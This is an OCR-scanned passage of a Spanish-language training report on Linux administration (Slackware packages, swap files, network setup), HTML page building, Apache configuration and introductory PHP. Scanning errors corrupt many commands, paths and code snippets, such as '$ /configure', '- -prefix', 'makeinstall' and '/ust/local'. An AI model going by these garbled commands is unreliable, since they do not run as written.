| $ removepkg nombre_del_paquete |

Para instalar paquetes de actualizacion se puede utilizar el comando upgradepkg;:

| $ upgradepkg nombre_del_paquete |

1.2.5. AGREGAR MEMORIA SWAP TEMPORALMENTE DESDE
UN ARCHIVO

La memoria swap es memoria auxiliar que utiliza Linux cuando la memoria real se agota, también es
llamada memoria virtual ya que es memoria que no existe realmente sino que solo es simulada con la ayuda del
disco duro.

Los pasos a seguir para agregar memoria swap desde un archivo se mencionan a continuacion, aunque
cabe mencionar que para hacer permanente el aumento de memoria swap se debe montar dicho archivo como
particién en el archivo fetc/fstab.

Los pasos a seguir son:

e Crear el archivo.

| $ dd if=/dev/zero of=/swapfile bs=tamafio_bloque count=tamafio_archivo_salida |

e Preparar el archivo.

| $ mkswap /swapfile |

e Activar el archivo.

| $ swapon /swapfile |

El comando free nos muestra la cantidad de memoria swap con que cuenta el sistema, se puede utilizar
para verificar el aumento en la memoria.

1.2.6. CONFIGURACION DE DISPOSITIVOS
Configuracién del monitor, teclado y mouse

El archivo para la configuracion de estos dispositivos se llama xorg.conf y esta ubicado en /etc/X11/.

Para configurarlos por medio de un asistente grafico se puede utilizar el paquete xorgconfig que abrira
una ventana que facilitara la configuracion bésica de estos dispositivos.

Para la configuracién del mouse existe el paquete mouseconfig que ayuda a la realizacién de esta tarea.
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Configuracién de la tarjeta de red

Para configurar la tarjeta de red existe el paquete netconfig, el cual configura paso a paso dicho
dispositivo.

Si lo que se quiere es configurar de manera manual la tarjeta de red se pueden utilizar los siguientes
comandos:

| $ ifconfig nombre_tarjeta IP_maquina broadcast numero_broadcast netmask numero_mascara up |

Para agregar un gateway o puerta de enlace se puede utilizar:

| $route add default gw IP_gateway |
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1.3. EDITORES PARA LA CREACION DE PAGINAS WEB

Objetivo

El participante elaborara paginas WWW apoyado con HTML.

1.3.1. ESTRUCTURA BASICA DE HTML

Un documento HTML esta formado fundamentalmente por el texto que se quiere mostrar en pantalla y el
formato que se quiere dar a dicho texto. El formato al texto, asi como la inclusién de cabecera y c6digos, se realiza
insertando etiquetas que en vez de ser mostradas en pantalla por el navegador, van a ser interpretadas por éste
como comandos de formato y carga.

Es importante recalcar que el HTML es siempre interpretado por el navegador, sin existir ninguna etapa
de compilacién, como sucede en otros lenguajes para la Web.

Etiquetas HTML

Cuando un navegador muestra una pagina, lo que hace es leer de un archivo de texto puro y busca
codigos especiales o “etiquetas” (tags, en inglés) que vienen marcadas por signos “<” y “>”. El formato general de
una etiqueta HTML es el siguiente:

| <NOMBRE_ETIQUETA>cadena de texto</NOMBRE_ETIQUETA> |

Estructura bdsica de una pdgina HTML

La estructura de una pagina HTML consta de varias etiquetas:

<HTML> Esto es el principio de un documento de tipo HTML.
<HEAD> Esto es el principio de la zona cabecera.
<TITLE> Esto es el principio del titulo de la pagina.
Nombre o titulo de la pagina
</TITLE> Esto es el final del titulo de la pagina.
</HEAD> Esto es el final de la zona cabecera.
<BODY> Esto es el principio del documento propiamente dicho.
</BODY> Esto es el final del documento propiamente dicho.
</HTML> Esto es el final de un documento de tipo HTML.
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Pardmetros de la etiqueta BODY

La etiqueta BODY acepta varios pardametros muy interesantes:

Parametro

Significado

BACKGROUND="imagen"

Permite incluir una imagen de fondo. No poner una imagen muy “pesada”
de fondo, no mas de 15k. No olvidar verificar que no dificulte la lectura del
texto.

BGCOLOR="#xxxxxx"

Cambia el color de fondo de una pagina. Cada x representa un digito

u

hexadecimal, del 0 a la F. Las dos primeras “x” corresponden al rojo, las 2
siguientes al verde y las restantes al azul.

TEXT="#xxxxxx"

Cambia el color del texto de toda una pagina. La seleccién de color funciona
igual para todos los casos.

LINK="#xxxxxx"

Cambia el color de todas las ligas de una pagina.

VLINK="#xxxxxx"

Cambia el color de todas las ligas visitadas de toda una péagina.

1.3.2. TEXTO

Se puede especificar el tamafio del texto con la etiqueta <font size="n"> en donde “n” es un valor del 1 al
7y 1 es el tamafio mas pequefio.

| <font size="n">Texto</font> |

Existen otras etiquetas que sirven para hacer mas agradable la visualizacién del texto:

Etiqueta Sintaxis Descripcién

Negrilla <B> ... </B> Principio y final de zona en
[Bold] <STRONG> ... </STRONG> grueso.

Italico <I>...</I> Principio y final de zona en
[Italic] <EM> ... </EM> italico.

Color del caracter Principio y final de zona en

<FONT COLOR="#xxxxxx"> ... </FONT>

[Font color] color.
Sa.lto de linea <BR> Introducir un salto de linea.
[Line break]
Comentarios <l--..--> No visualizar.
[Comments]
Centrado
<CENTER> ... </CENTER> Centrar.
[Center]
Separador horizontal <HR> Linea horizontal.

La etiqueta <PRE>...

</PRE> indica un texto preformateado. El browser toma asi en cuenta todos los

espacios y saltos de linea definidos en la pantalla.

La etiqueta <ADDRESS>...</ADDRESS> para indicar una direccién (en general al final del documento).
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La etiqueta <U>...</U> subraya el texto. Como, por convenio, los elementos que sirven de enlace (ligas)
estdn subrayados se recomienda evitar subrayar elementos de texto para darles importancia. Se recomienda mejor
ponerlos en gruesos o en un formato o un color diferente.

La etiqueta <TT>...</TT> pone el texto con un tipo de letra similar al de las maquinas de escribir
mecanicas.

1.3.3. ALINEACIONES

Para alinear del texto, se puede utilizar el atributo ALIGN o la etiqueta <CENTER>.

El atributo ALIGN estd presente en varias etiquetas, por ejemplo si se quiere alinear un pérrafo

determinado se puede utilizar la etiqueta <DIV> que sirve de para delimitar parrafos. ALIGN tiene varios tipos
posibles de alineaciones:

<DIV ALIGN="LEFT”>...</DIV>
<DIV ALIGN="CENTER">...</DIV>
<DIV ALIGN="RIGHT”>...</DIV>
<DIV ALIGN="JUSTIFY”>...</DIV>

1.3.4. TITULOS

Los titulos, también llamados encabezados, son de gran importancia y HTML tiene una etiqueta
destinada para la creacién de titulos:

| <Hn>..</Hn> conn=lab6 |

En esta etiqueta cuando n=1 significa que es el titulo de mayor importancia y por lo tanto el mas grande.

1.3.5. LISTAS

Cada documento de cierta consistencia debe presentar, por ejemplo, en el indice los diferentes niveles de
su informe. HTML dispuso desde su origen de herramientas especialmente preparadas a este efecto.

e Listas desordenadas
e Listas ordenadas
e Listas por definiciéon

Hacer una lista es muy facil, primero se elige el tipo de lista (UL, OL o DT), luego cada elemento de la
lista se indica con LI (list item). UL sirve para hacer listas desordenadas y tiene un pardmetro llamado TYPE que

sirve para cambiar la imagen que aparece al principio de cada elemento de la lista y puede tomar diferentes
valores como disc, circle o square.
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1.3.6. LIGAS (LINKS)

El poder real del Web es su habilidad para crear links hipertexto a otras informaciones. Esa “otra
informacién” puede estar en otras paginas Web, ser graficos, sonidos, animaciones digitales, videos, programas,
tablas de contenidos de un servidor, una sesién remota en otra maquina, un archivo de software o un servidor de
FTP.

El WWW usa un sistema de direccionamiento conocido como URL’s, o Locaciones de Recursos
Uniformes, para indicar la ubicacion correcta de tales elementos. Estos links hipertexto, que vienen generalmente
subrayados y en azul, son conocidos como anchors o links.

Enlace a otro directorio. Las etiquetas link pueden enlazar con un documento HTML, un gréfico en otro
directorio o una carpeta. Esto se puede lograr con la siguiente linea:

| <A HREF="URL o direccién o camino de acceso">...</A> |

Ligas a partes especificas de una pdgina (Anclas). Un ancla es una marca de referencia oculta a una seccién
particular de un documento HTML. Esto se puede usar para enlazar con una seccién diferente de la misma
pagina si es larga, o ir a una seccién de otra pagina.

| <A NAME="Nombre_del_ancla”>Texto destino de la conexion</A> |

1.3.7. IMAGENES

Colocar una imagen en los documentos HTML para que se muestren en el explorador es muy sencillo,
s6lo se tiene que utilizar el siguiente c6digo:

| <IMG SRC="direccién_de_la_imagen"> |

La etiqueta IMG cuenta con varios atributos:

Atributo Significado

alt="Texto" Texto alternativo para los exploradores que no tienen la opcién "imagen" activada.
width=? height=? Alto y ancho en pixeles.

border=? Borde en pixeles.

align=top Inicio del texto en la parte de arriba de la imagen.

align=middle Inicio del texto en la parte media de la imagen.

align=botton Inicio del texto en la parte de debajo de la imagen.

align=left A la izquierda del texto.

align=right A la derecha del texto.

Ligas en imdgenes

Las etiquetas son:

<A HREF="fichero.htm"><IMG SRC=" imagen .gif></A> |
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Se observa que las imdgenes sobre las que se puede "pulsar" estan rodeadas por un marco.

1.3.8. TABLAS

Una tabla se define con la etiqueta <TABLE> y debe finalizar siempre con </TABLE>. Cerrar una tabla es
muy importante, sino la pagina puede aparecer totalmente diferente si nos olvidamos de un simple </TABLE>.

La sintaxis general de una tabla es:

<TABLE>
<TR>
<TH>Encabezadol
</TH>
</TR>
<TR>
<TD>Celdal
</TD>
</TR>
</TABLE>

TD y TH aceptan los siguientes parametros:

Parametro Significado

HEIGHT Indica la altura de la celda. Para el tamafio en pixeles ingresar la cantidad, para ingresar el
tamafo en porcentajes agregar un “%”.

WIDTH Indica el ancho de la celda.

ALIGN Permite alinear el texto dentro de una celda. Acepta LEFT, RIGHT, CENTER.

VALIGN Permite alinear el texto verticalmente dentro de una celda. Acepta TOP, BOTTOM,
CENTER.

BGCOLOR Permite especificar el color de fondo de una celda.

ROWSPAN=n Indica que esa celda se extiende n filas.

COLSPAN=n Indica que esa celda se extiende n columnas.

La etiqueta TABLE acepta varios pardmetros entre los que se encuentran los siguientes:

Parametro Significado

BORDER Define el grueso en pixeles del borde de la tabla.

BGCOLOR Permite especificar el color de fondo de la tabla.

ALIGN Permite alinear la tabla con respecto a la pagina. Acepta LEFT, RIGHT, CENTER.
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1.3.9. FRAMES

Un documento con frames tiene la estructura béasica como un documento normal de HTML, sélo que el
elemento <BODY> es remplazado por <FAMESET>, que describe los subdocumentos que contendra cada
FRAME.

FRAMESET acepta los atributos ROWS (filas) y COLS (columnas). Dentro de FRAMESET se coloca la
etiqueta FRAME que acepta el parametro SRC.

El parametro TARGET

El parametro TARGET especifica en que FRAME se mostrara la informacién seleccionada. Cuando se
define el FRAME se debe utilizar el pardmetro NAME para dar un nombre 16gico al FRAME al cual se hara
referencia con el parametro TARGET en una conexion.

TARGET también puede tomar los siguientes valores:

Valor Significado

BLANK Hace que el enlace se cargue siempre en una nueva ventana. Esta nueva ventana no tiene
nombre.

SELF Hace que el enlace se cargue siempre en el mismo FRAME de la pagina actual. Es la opcién por
defecto.

PARENT Hace que el enlace se cargue siempre en el FRAMESET que contiene al FRAME actual.

TOP Hace que el enlace se cargue siempre en la ventana del documento actual sin FRAMES.

1.3.10. FORMULARIOS

Los formularios son los principales elementos que permiten interactuar con una pagina. Son plantillas en
las cuales el usuario introduce los datos o selecciona una opcién y la envia a un servidor o a una direccién de
correo electrénico. Un formulario trabaja basicamente asi: el visitante selecciona diferentes datos (campos) cada
uno de los cuales quedara asociado a una variable. La principal aplicacién de los formularios es la posibilidad de
crear cuestionarios, encuestas, paginas de comentarios o cualquier documento en la que se desee una interacciéon
por parte del usuario.

La etiqueta FORM

La etiqueta utilizada para crear un formulario es <FORM>...<FORM>. Para que esta etiqueta pueda
funcionar debe tener atributos:

Atributo Significado

ACTION="URL” Contiene la URL del programa encargado de interpretar la entrada del

usuario y generar los resultados oportunos.
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METHOD="GET/POST”

Tiene un significado. En principio puede tomar como valor cualquiera de los
métodos de transferencia de datos reconocidos por HTTP, pero en la practica
s6lo se emplean 2:

GET. Anade los argumentos del formulario al URL que se especifica en
ACTION (usando como separador el simbolo “?”), lo que da lugar a que el
programa los reciba como pardmetros de entrada.

POST. Envia los datos como parte de la entrada estandar.

NAME="Nombre_form”

Cajas de texto

Tiene el nombre del FORM para hacer referencia en caso de ser necesario.

Existen tres formas de insertar un texto en un formulario.

La primera es:
<INPUT TYPE="TEXT" NAME=nombre>

El valor TYPE="TEXT" indica que el tipo de dato que se va a introducir es un texto.

La segunda forma de insertar un texto es:
<INPUT TYPE="PASSWORD" NAME=nombre>

El valor TYPE="PASSWORD” indica que lo que se va a introducir es una clave o una contrasefa.

La tercera forma de introducir un texto es:
<TEXTAREA> ... </TEXTAREA>.

Al igual que el anterior también se puede modificar su tamafo.

Elementos de Mentii

Estos elementos le permitirdn al usuario elegir entre varias opciones, que han sido predeterminadas. Esto
se puede hacer de dos maneras.

e La primera es varios botones de radio a una misma variable, se pondra a todos ellos el mismo NAME.
Pudiendo aceptar el pardmetro de asignacion de valor a la varieble (VALUE) y la opcién de que se active
por defecto (CHECKED).

e La segunda forma es por medio de listas de selecciéon. Para emplearlas se debera utilizar dos etiquetas,

SELECT y OPTION.

Elementos de confirmacion

Puede ser que solamente se necesite que el usuario confirme o niegue algo. Se puede conseguir por medio

de controles de confirmacion:

| <INPUT TYPE="checkbox" NAME="nombre_variable"> |
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Por defecto esa casilla siempre va a aparecer desactiva si se quiere activarla desde el principio se puede
utilizar el valor CHECKED.

Botones

Existen dos tipos de botones: uno que se utiliza para mandar el formulario y otro que sirve para limpiar
todo lo que haya rellenado el usuario en caso tal de que se equivoque.

[ <INPUT TYPE=SUBMIT> y <INPUT TYPE=RESET> |

Estos botones por si solos no cumplen ninguna funcién, habria que especificarles la URL a la cual se
quiere que lleguen esos datos mediante el parametro ACTION de la etiqueta FORM.

1.3.11. PROYECTO FINAL DEL MODULO

Al final del médulo se pidi6é como proyecto final un sitio de tema libre que utilizara en su mayoria, o de
ser posible todas, las etiquetas vistas durante el médulo.

En este caso particular se eligié un tema que facilitara el mostrar la mayor parte de las herramientas que
ofrece HTML. El tema fue “Sinopsis de estrenos”. A continuacién se muestra el aspecto final que adquiri6 el sitio
y el c6digo con el que se realizo.

La pagina esta formada de dos frames: el del lado izquierdo muestra una lista de las peliculas disponibles
para acceder a mds informacién; y el derecho muestra informacion que depende de la seleccién que se haga en el

ment del frame de la izquierda.

El c6digo de la pagina index.html es:

<html>
<head>
<title>" Sinopsis de estrenos "</ title>
<script>
message = "Pagina de sinopsis de estrenos™" +

"Esta pagina fue elaborada por José Christian Galan Juarez™" +
"Centro Mascarones UNAMM" +
"(c) 2000-2005 Todos los derechos reservados™" +
AN
scrollSpeed = 25
lineDelay = 1500
txt =
function scrollText(pos) {
if (message.charAt(pos) !=""") {
txt = txt + message.charAt(pos)
status = txt
pauze = scrollSpeed
}
else {
pauze = lineDelay
txt ="
if (pos == message.length-1) pos = -1
}
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pos++
setTimeout("scrollText("+pos+")", pauze)

}

scrollText(0)
</script>
</head>
<frameset cols="23%,77 %" border="0">
<frame src="framel.html">
<frame src="frame2.html" name="frame2">
</frameset>
</html>

El aspecto final de index.html visto en el explorador se muestra en la Fig. 1.3.11.1.

SINOPSIS DE PELICUIAS DE ESTRENO |

Fig. 1.3.11.I
Pagina index.html.

En el frame de la izquierda se puede elegir algtn titulo de estreno para acceder a su sinopsis y su ficha
técnica.

El sitio también cuenta con la posibilidad de que el usuario mande comentarios a e-mail si asi lo desea y
de hacer reservaciones a cines de una empresa reconocida.

La estructura jerarquica del sitio se ve en la Fig. 1.3.11.1L.
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index.html
framel.html frame2.html
blade.html closer.html constantine.html || espanglish.html hitch.htmll robots.html volverme.html
Fig. 1.3.11.I1

Estructura jerarquica del sitio.

33



Informe del proyecto de desarrollo de un sistema de costeo de atencion de solicitudes de informacién utilizando software libre.

1.4. ADMINISTRACION DE SERVIDORES WWW CON LINUX

Objetivo

El participante identificara el procedimiento para instalar, configurar y administrar su
propio servidor de WWW en un servidor de plataforma LINUX.

1.4.1. INTRODUCCION A LOS SERVIDORES WWW

Un servidor Web es un programa alojado en una computadora que usa el protocolo http para enviar
paginas Web a la computadora de un usuario cuando este las solicita. La computadora que aloja al servidor Web
también contiene las paginas HTML que se han de mostrar al usuario. Lo anterior se ve en la Fig. 1.4.1.1.

Internet

R ! !I
HTTP1—-| Servidor Web

Cliente Web  §={ HT TP}t

Docum. Docum. Docum.
HTML HTML HTML
Fig.1.4.1.1
Diagrama de servidor WWW.

HTTP

Es el protocolo de comunicacién de red utilizado por el WWW. Se basa en arquitectura cliente-servidor y
es un protocolo muy poderoso ademds de ser simple en su funcionamiento.

Los pasos que sigue para la comunicacién son:

1. Elcliente HTTP abre una conexion.
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. server manda un “acknowledge” notificando que se ha abierto una sesion.

2. El d “ack ledge” notificand ha abiert

El cliente envia su “request message” solicitando un recurso.

4. El servidor responde con “response message” que contiene el recurso solicitado y cierra la
conexion.

@

1.4.2. INSTALACION DEL SERVIDOR

De una adecuada instalaciéon del servidor depende su buen funcionamiento en el futuro y un buen
servicio en todo momento. Una buena instalacién debe considerar el crecimiento que se espera del servidor y la
seguridad que se requiere dependiendo de la funcién para la que se esta instalando.

Criterios para elegir un servidor WWW

*  Funcién del Servidor de Web.

*  Expertise de los administradores.

* Plataforma disponible.

* Numero de conexiones concurrentes.

* Nuamero transacciones por segundo.

»  Costo computacional por transaccion.

* Proyeccion del crecimiento esperado.

* Soporte para la tecnologia utilizada para el desarrollo.
*  Analisis del retorno de Inversion.

Servidores WWW populares disponibles

* Internet Information Server - Microsoft

* SunJava Web Server - Sun MicroSystems
* Roxen Web Server - Open Source

*  Public Domain HTTP Daemon - NCSA

* Zeus Web Server - Zeus

*  Apache Web Server - Open Source

¢Por qué elegir Apache?

= Robusto, Soporte de un gran nimero de transacciones.

= Configurable para diferentes entornos de trabajo.

* Con un alto nivel de seguridad.

= Disponible para una gran variedad de plataformas.

= Soporte para servicio de proxy.

e Soporte para granjas de servidores.

= Soporte para Scripting languages integrados como médulos (por ejemplo PHP, mod_perl) .
* Incluye el cé6digo fuente del servidor.

* Soporte para accesos restringuidos.

* Y ademas es libre y gratuito.
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Instalacion de Apache en Linux

La instalaciéon de apache en Linux, se puede realizar de dos formas:
Por paquetes de tu distribucién favorita (The easy way):

e apt-get install (Debian)

¢ emerge (Gentoo)

e rpm (Red Hat, Mandrake, SuSe)

e installpkg (Slackware)

Por compilacion (The best way):

$ tar -zxvf httpd-x.x.xx.tar.gz
$ cd httpd-x.x.xx

$ /configure

$ make

$ make install

En el comando configure se puede agregar el parametro “--prefix=direccion_deseada”, para cambiar el
lugar donde apache se instalara, por default apache se instala en /usr/local sino se especifica ningtn prefix
diferente.

Iniciar y finalizar el servidor Apache

Para iniciar el servidor sélo hay que ir al directorio prefix/bin y teclear el siguiente comando:

| $ /apachectl start |

Si Linux no manda ningin mensaje de error entonces el servidor ha iniciado correctamente, también se
puede reiniciar Apache con el mismo comando anterior s6lo que en vez de start se pondra restart.

Para verificar que el servidor ya esta levantado se puede abrir cualquier explorador y escribir
http://localhost, esto informara que el servidor esta funcionando si fue levantado correctamente.

Para parar la ejecucién de Apache sélo hay que escribir el mismo comando que se utiliz6 para iniciarlo,
en el directorio prefix/bin también, s6lo que esta vez se utilizara la palabra stop.

| $ /apachectl stop |

1.4.3. CONFIGURACION DE APACHE

Las directivas son las encargadas de la configuracién del servidor WWW Apache. Estas son lineas
definidas en el documento de configuracién de Apache prefix/conf/httpd.conf.
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Apache es administrado por mas de 200 directivas las cuales permiten que determinada funcionalidad
pueda ser incluida o cambiada. Para incluir cierta directiva sélo se debe quitar el simbolo “#” la precede en el

archivo httpd.conf y listo.

A continuacién se listan las directivas mas importantes y su funcién, todas se pueden encontrar en el

archivo httpd.conf.

Directiva Descripcién
ServerType Esta directiva desaparecié6 en Apache 2 pero existe en Apache 1 y por eso se
menciona. Su funcién es definir el esquema en el que trabajara Apache y puede tomar
el valor de Standalone (recomendado) e Inetd. No se recomienda el esquema Inetd
debido a los recursos de computo que se consumen al obligar al superdemonio (inetd
o xinetd) a generar un proceso httpd cada vez que se genere una nueva conexién son
muchos.
User Su funcién es definir el user ID con el que operard Apache. Su valor por default es
User #-1.
Group Su funcién es definir el group ID con el que operard Apache. Su valor por default es
User #-1.
Listen Esta directiva se llama Port en Apache 1. Su funcién es definir el puerto en el que
operard Apache. Su valor por default es 80.
ServerAdmin En esta directiva se define el correo del administrador que sera el que aparecera en los
mensajes de error enviados al cliente (explorador).
DocumentRoot Su funcién es definir la ruta absoluta en la cual se van a encontrar los archivos HTML
que van a ser publicados. Su valor por default en Apache 2 es
/Jusrt/local/apache2/htdocs.
ServerRoot Define la ruta absoluta en donde los archivos de configuracién y las bitacoras se van a
ubicar. Por default es /usr/local/apache.
MinSpareServers Define el nimero minimo de procesos servidores libres en espera de alguna peticion.
MaxSpareServers Define el niimero maximo de procesos servidores libres en espera de alguna peticién.
StartServers Define el nimero de procesos servidores que se levantaran al iniciar Apache. Su
valor por default es 5.
MaxClients Define el maximo de procesos servidores que podran ser levantados. Su valor por
default es 150.
ErrorDocument Esta directiva se puede configurar para que realice diversas acciones en caso de que
suceda un error en el servidor cuando se solicite un recurso:
1. Mandar un mensaje de error. Este es el que realiza por default.
2. Mandar un mensaje personalizado por el administrador.
3. Redireccionar a una URL local para la atencién del problema.
4. Redireccionar a una URL externa para la atencién del problema.
PidFile Esta directiva define en que lugar se encuentra el archivo que contiene el Process 1D
con el que iniciard Apache. Su valor por default es prefix/logs/httpd.pid.
ErrorLog Define el nombre del archivo en donde el servidor registrard los errores que se
presenten.
LogLevel Define el nivel de los mensajes de error que seran registrados por el servidor en el
archivo error.log.
CustomLog Esta directiva define el archivo en donde el servidor registrara los accesos que se

tengan.
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LogFormat Aqui se define el formato con el que se quiere que el servidor registre los accesos a la
bitacora. Su valor por defaul es "%h %]l %u %t \"%r\" %>s %b".

HostnameLookups Habilita y deshabilita la resolucién de nombres en el DNS cuando se establece una
conexioén. Su valor por default es “off”.

Directory Esta directiva hace la funcién de un contenedor que permite aplicar otras directivas

de forma especifica a todos los recursos dentro de la ruta definida por “dir”. Se
deben utilizar rutas absolutas. Su sintaxis es la siguiente:

<Directory dir>
Options [+/-]opcionl [+/-]opcion2 ...

</Directory>

1.4.4. SITIOS WEB DINAMICOS

Los sitios Web dinamicos son llamados asi por el simple hecho de que tienen contenido dindmico en ellos,
esto es que el contenido esta en constante cambio, estos sitios necesitan una fuente de datos para recuperar y
mostrar contenido dindmico como lo son las bases de datos, variables de URL, variables de servidor, variables de
formulario, procedimientos almacenados,etc.

CGI’s (Common Gateway Interface)

Definen un modelo de programacién que puede ser implementado con muiltiples lenguajes que ofrece
dinamismo en la creacién de sitios Web.

Los CGI’s son programas que corren en el servidor, reciben parametros desde el cliente y su salida es
enviada al navegador.

Permiten generar paginas dindmicas y fueron la primera alternativa para generar dinamismo a un sitio

Web.

Directivas necesarias para utilizar CGI’s (Common Gateway Interfaces) en
Apache

e ScriptAlias /cgi-bin fust/www/cgi-bin

Convierte las solicitudes via URL al path absoluto donde residen los CGI’s.

e AddHandler cgi-scripts .cgi

AddHandler permite que determinada extensioén sea relacionada a un evento en particular, en el caso de los

CGI's lo que se indica es que la extensiéon .cgi queda identificada como un Script. Por default estd
deshabilitada.
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Server-side include (SSI)

La opcién SSI activa un filtro que permiten incluir etiquetas dentro de un archivo HTML, las cuales son
procesadas por Apache, antes de ser enviadas como HTML al cliente.

Es necesario habilitar la opcién +Includes en el directorio donde se encuentran los archivos que incluyen
etiquetas SSI.

Directivas necesarias para utilizar SSI (Server-side includes) en Apache

e AddType text/html .shtml

Relaciona los archivos con extension .shtml como aquellos que contienen etiquetas SSI.

¢ AddOutputFilter INCLUDES .shtml

Habilita el filtro para los archivos .shtml.

1.4.5. SERVIDORES VIRTUALES

Los servidores virtuales son para simular que existen varios servidores reales cuando en realidad solo
existe uno, o sea, permiten que un solo servidor se comporte como lo harian multiples servidores a la vez. En
Apache estos servidores se pueden hacer utilizando la directiva “VirtualHost”.

Directiva VirtualHost

<VirtualHost IP_del_servidor_virtual>
DocumentRoot Directorio_donde_se_encontrarin_los_documentos_a_publicar
ServerName Nombre_del_servidor_para_el DNS

</VirtualHost>

Es necesario poner la directiva NameVirtualHost inmediatamente antes de la directiva VirtualHost para
identificar el nombre del servidor virtual.

| NameVirtualHost IP_del_servidor_virtual |

Un ejemplo de servidor virtual podria ser uno que tenga un puerto diferente al servidor real, para esto se
debe afiadir la directiva Listen con el puerto por el cual va a comunicarse el servidor virtual. Por ejemplo podria
quedar de la siguiente forma:

Listen 8080

NameVirtualHost 132.248.75.222:8080
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<VirtualHost 132.248.75.222:8080>
DocumentRoot /virtuales/puerto8080/htdocs
</VirtualHost>

En el caso anterior no se utiliz6 la directiva ServerName dentro del servidor virtual ya que se quiere que
tenga el mismo nombre que el servidor real pero con diferente puerto.
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1.5. PROGRAMACION CON PHP

Objetivo

Proporcionar al participante los conocimientos necesarios que le permitan crear
aplicaciones dindmicas e interactivas para el Web utilizando el lenguaje PHP.

1.5.1. INSTALACION

PHP (Procesador de Hipertexto) es un lenguaje de alto nivel interpretado para el desarrollo de paginas
Web dindmicas del lado del servidor, por esto su cédigo se intercala facilmente en las paginas HTML. Es uno de
los lenguajes para la creacion de paginas Web mas populares por ser Libre.

Formas de instalacion

Existen dos maneras de instalar PHP:

¢ Como moédulo dinamico de Apache: Es méas rapido y eficiente ya que las ejecuciones del programa las
realiza el servidor Web.

e Como CGI: Disminuye el rendimiento ya que es el sistema operativo quien se encarga de gestionar todos
los procesos derivados de la ejecuciéon del script de PHP.

Pasos de instalaciéon como médulo dindmico de Apache en Linux

En realidad basicamente son los mismos pasos que se realizan para la mayoria de las instalaciones, s6lo
que hay que tomar en cuenta ciertas cosas, a continuacion se listan los pasos a seguir:

1. $tar -zxvf php-4.3.x.tar.gz

2. $cdphp-4.3.x/

3. $./configure - -prefix=/usr/local/ php4 - -with-apxs2=/usr/local /apache2/bin/apxs - -with-mysql
4. % make

5. % makeinstall

Para funcionar PHP necesita su archivo de configuracion, asi que hay que copiarlo en la ruta adecuada:

| $ cp php.ini dist /ust/local/php4/lib/php.ini |

Ademas para que Apache lo agregue hay que anexar las siguientes lineas al archivo httpd.conf:
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AddTypeapplication/x httpd php.php.phtml
AddTypeapplication/x httpd php source.phps

No hay que olvidar reiniciar el servidor Apache después de haber hecho las modificaciones en su archivo
de configuracion.

Una medida para verificar la correcta instalacion de PHP es checar que en el archivo httpd.conf se anexé
la siguiente linea:

| LoadModule php4_module modules/libphp4.so |

Otra forma de verificar la correcta instalaciéon de PHP es crear en el DocumentRoot de Apache un archivo
HTML llamado info.php con la siguiente linea:

| <? phpinfo(); 2> |

Y después abrir el documento desde algtin navegador de Internet de la siguiente manera:

| httpy/localhost/info.php |

En el navegador debera aparecer la configuracién de PHP en tablas.

1.5.2. INTRODUCCION A PHP

Para delimitar el codigo existen varias formas, algunas de ellas requieren la modificacién del archivo de
configuracién de Apache para ser reconocidas:

<?php ... 2>

<script language="php”> ... </script>
<?..7>

<% ... %>

Para poder utilizar el tercero y cuarto delimitador se tienen que activar las directivas de Apache
short_open_tag y aspt_tags respectivamente.

Variables

Una variable es el nombre que se le da a una posicién de la memoria en la cual se almacena informacién.
En PHP una misma variable podrd almacenar distintos tipos de informacién.

Para definir una variable sélo hay que escribir el signo “$” seguido del nombre de la variable que puede
contener nimeros (pero no debe ser el primer caracter), letras y guiones bajos.

PHP es sensible a diferenciar entre maytsculas y mindsculas, asi que no es lo mismo una variable $a que
una $A.

Hay varios tipos de datos que pueden contener las variables.
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Dentro de los datos de tipo arreglo existen los arreglos asociativos que son arreglos especiales en los que

el indice es una valor de tipo string, de modo que cada elemento del arreglo esta definido por el par (clave, valor)
también llamado par (key, value).

Conversion de tipos de datos

El intérprete de PHP tiende a homogeneizar los tipos de datos automaticamente cuando va a realizar una
operacion. Sin embargo se puede realizar la conversion de tipos de manera manual anteponiendo al nombre de la
variable el tipo de dato deseado entre paréntesis. Por ejemplo:

| (string)$minumero; |

Constantes

Una constante no es méds que una variable que mantiene el mismo valor durante toda la ejecucién de un
programa. Su definicién se hace de la siguiente manera:

| define(“nombreconstante” valorconstante); |

Existen variables que PHP predefine y también se pueden utilizar si se necesitan, entre ellas tenemos:

PHP_VERSION
PHP_OS

TRUE

FALSE

1.5.3. OPERADORES

Tipo Simbolo Ejemplo Descripcion
Aritméticos + $a + $b
- $a-$b
* $a * $b
/ $a / $b
% $a % $b
De asignacién = $a = $b
+= $a +=$b->%a=%a +$b
-= $a -= $b
*— $a *= $b
= $a /=$b
%= $a %= $b
= $a .= $b
De cadenas Operador de concatenacién de 2
cadenas.
= Concatenacién y asignacion.
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De incremento y ++ ++%a Incrementa $a en uno y después
decremento devuelve $a.
$at+ Devuelve $a y después lo incrementa.
-- --$a Predecremento.
$a- - Postdecremento.
De comparacion == $a == $b
I= $a !=$b
=== $a === $b Idénticos
(iguales y del mismo tipo).
== $a I==$b
< $a <$b
> $a>$b
<= $a<=$b
>= $a >=$b
Loégicos && 6and | $a && b TRUE si a y b son TRUE.
|| 6or $a | | $b TRUE si a 6 b son TRUE.
! la Niega el valor légico.
xor $a xor $b TRUE si alguno es TRUE pero no los 2 a

Precedencia de operadores

la vez.

Desde el operador de mayor precedencia se listan los operadores a continuacién:

e !++ - (int) (double) (string) (array) (object)

e /%

e and
e Xor
e or

1.5.4. ESTRUCTURAS DE CONTROL

En los lenguajes de programacion, las estructuras de control permiten modificar el flujo de ejecucién de
las instrucciones de un programa. Todas las estructuras de control tienen un tnico punto de entrada y un tinico

punto de salida.

Estructuras condicionales. Sirven para que el programa siga diferentes rumbos dependiendo de determinada

condicién.
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If
If simple If maltiple
Su sintaxis es: Su sintaxis es:
if (expresion) if (expresion)
{ {
sentencias; sentencias;
} }
[else [elseif (expresion?2)
{ {
sentencias; sentencias;
/] }
else
{
sentencias;
i1
Su expresion debe ser 16gica y por lo tanto que regrese un valor booleano (verdadero o falso).
Switch

Esta estructura sirve para comparar un dato con un conjunto de posibles valores. Su sintaxis es:

switch ($variable)
{
case valorl:
sentencias;
break;
case valor2:
sentencias;
break;
case valorN:
sentencias;
break;
[default:
sentencias;]

Compara el valor de la variable con los posibles valores que hay en cada “case” y sino coincide con
alguno ejecuta las sentencias del “default”.

Estructuras ciclicas. Sirven para que un determinado ntimero de instrucciones o sentencias se ejecuten cierta
cantidad de veces.
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For

Permite realizar un conjunto de instrucciones un determinado niimero de veces. Su sintaxis es:

for (inicializacion;condicién;incremento)

{

sentencias;

